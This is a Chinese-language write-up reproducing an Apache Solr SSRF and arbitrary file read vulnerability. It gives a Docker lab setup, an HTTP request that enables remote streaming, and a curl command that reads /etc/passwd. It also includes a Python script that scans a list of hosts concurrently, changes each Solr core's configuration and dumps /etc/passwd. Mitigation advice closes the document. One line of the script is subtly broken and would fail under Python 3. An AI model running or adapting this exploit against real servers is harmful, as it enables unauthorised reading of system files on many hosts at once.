# Apache-Solr 任意文件读取漏洞复现
===========================
## 漏洞描述
Apache Solr是一个开源的搜索服务，使用Java语言开发。Apache Solr的某些功能存在过滤不严格，在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或文件读取漏洞。
## 漏洞评级
Apache Solr stream.url SSRF与任意文件读取漏洞 中危
## 影响版本
Apache Solr 所有版本
## 安全版本
官方不予修复，暂无安全版本。
## 复现过程
### 环境搭建
```bash
docker search solr
docker pull solr
docker run -d -p 8983:8983 solr
docker exec -it 实例id /bin/bash
cp -r server/solr/configsets/_default/conf /var/solr/data/test1
```
参考：http://www.bubuko.com/infodetail-3118740.html
### 漏洞复现
首先获取core
core
以my_core测试为例，
```bash
POST /solr/my_core/config HTTP/1.1
Host: x.x.x.x:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 84
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
```
读取文件
```bash
curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
```
读取结果
### EXP
环境要求：python3.8+
使用方法：python3 solr.py --help
```python
#!/usr/bin/python
# coding: UTF-8
import argparse
import asyncio
import json
import pathlib
from typing import Tuple
from urllib.parse import urlparse
import httpx
class URLAction(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
if not urlparse(values):
raise ValueError("Not a valid url!")
setattr(namespace, self.dest, values)
class FILEAction(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
if not pathlib.Path(values).exists():
raise ValueError("File not exists!")
setattr(namespace, self.dest, values)
parser = argparse.ArgumentParser(description="Solr Poc")
parser.add_argument("--host", type=str, action=URLAction, help="target host uri")
parser.add_argument("--file", type=str, action=FILEAction, help="target host file")
parser.add_argument("--conn", type=int, default=10, help="asyncio max connetions")
args = parser.parse_args()
SEM = asyncio.Semaphore(args.conn)
RESULT = {}
async def check(host: str) -> Tuple[str, bool]:
status = False
async with SEM:
async with httpx.AsyncClient(base_url=host) as client:
try:
core_data = (
await client.get(
"/solr/admin/cores?indexInfo=false&wt=json", timeout=3
)
).json()
except httpx.ReadTimeout:
print(f"{host} TimeOut!")
status = "TimeOut"
else:
if (status := core_data["status"]) :
core = status.keys()[0]
await client.post(
f"/solr/{core}/config",
json={
"set-property": {
"requestDispatcher.requestParsers.enableRemoteStreaming": "true"
}
},
)
result_data = (
await client.post(
url=f"/solr/{core}/debug/dump?param=ContentStreams",
data={"stream.url": "file:///etc/passwd"},
)
).json()
if (streams := result_data["streams"]) :
print(streams[0]["stream"])
status = True
finally:
RESULT[host] = status
return host, status
async def loop(urls):
await asyncio.gather(*list(map(check, urls)))
def main():
result_file = pathlib.Path("solr_main.json")
try:
urls = set()
if args.host:
urls.add(args.host)
if args.file:
with pathlib.Path(args.file).open("r") as file:
urls = urls.union(
{url for line in file if urlparse((url := line.strip()))}
)
print(f"tasks: {len(urls)}")
asyncio.run(loop(urls))
except KeyboardInterrupt:
pass
finally:
with result_file.open("w") as file:
file.write(json.dumps(RESULT, indent=4, ensure_ascii=True))
```
### 修复建议
* 增加身份验证/授权，可参考官方文档：https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
* 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙，以便只允许受信任的计算机和人员访问。
### Reference
https://m.aliyun.com/doc/notice_list/9213612.html
https://www.o2oxy.cn/3227.html